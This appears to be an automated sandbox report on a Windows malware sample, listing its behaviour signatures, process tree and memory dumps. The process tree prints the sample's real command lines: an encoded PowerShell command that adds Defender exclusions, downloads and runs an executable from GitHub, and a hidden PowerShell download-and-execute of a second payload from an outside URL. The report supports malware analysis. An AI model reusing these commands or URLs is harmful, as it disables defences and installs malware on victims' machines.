Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 00:04
General
- Target 2026-08-19_99dfd07686755069ce1e0041aa6b480b_.exe
- Size 1.8MB
- Sample260820-aczb7aad44
- SHA256 11ec83104a6b34bdd7c74ca8092be7242f1430d8c5227f2c38b0fd84f9d99f42
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
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C:\Users\Admin\AppData\Local\Temp\2026-08-19_99dfd07686755069ce1e0041aa6b480b_.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-19_99dfd07686755069ce1e0041aa6b480b_.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZABjAG4AaQB0AHIAYQBkAGEAMgAwADIANQAtAGwAYQBuAGcALwBiAHkAcABhAHMAcwAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBpAG4AagBlAGMAdABvADEAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUwBoAGUAbABsAEgAbwBzAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZABjAG4AaQB0AHIAYQBkAGEAMgAwADIANQAtAGwAYQBuAGcALwBiAHkAcABhAHMAcwAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBpAG4AagBlAGMAdABvADEAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUwBoAGUAbABsAEgAbwBzAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\ShellHost.exe" https://github.com/dcnitrada2025-lang/bypass/raw/refs/heads/main/injecto1r.exe ; START $env:TEMP\ShellHost.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/ShellHost.exe5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\ShellHost.exe"C:\Users\Admin\AppData\Local\Temp\ShellHost.exe"6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK466152.exe; Start-Process -FilePath $env:TEMP\BK466152.exe -WindowStyle Hidden }"7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK466152.exe; Start-Process -FilePath $env:TEMP\BK466152.exe -WindowStyle Hidden }"8⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK466152.exe; Start-Process -FilePath $env:TEMP\BK466152.exe -WindowStyle Hidden }"9⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
ShellHost.exe
__PSScriptPolicyTest_2oisyegy.jw2.ps1
inj_log.txt
memory/968-60-0x00007FF7873F0000-0x00007FF787427000-memory.dmp
memory/1624-19-0x0000000000400000-0x0000000000500000-memory.dmp
memory/2188-21-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-20-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-13-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-14-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-55-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-18-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-12-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-51-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-53-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-22-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-26-0x0000020027760000-0x0000020027812000-memory.dmp
memory/2188-25-0x00000200274C0000-0x00000200274DE000-memory.dmp
memory/2188-52-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-27-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/2188-28-0x0000020027450000-0x000002002745A000-memory.dmp
memory/5268-10-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-6-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-7-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-8-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-0-0x00007FFE4F27F000-0x00007FFE4F280000-memory.dmp
memory/5268-11-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-5-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp
memory/5268-4-0x00000195D6290000-0x00000195D62B2000-memory.dmp
memory/5268-1-0x00007FFE4F0F0000-0x00007FFE4FA94000-memory.dmp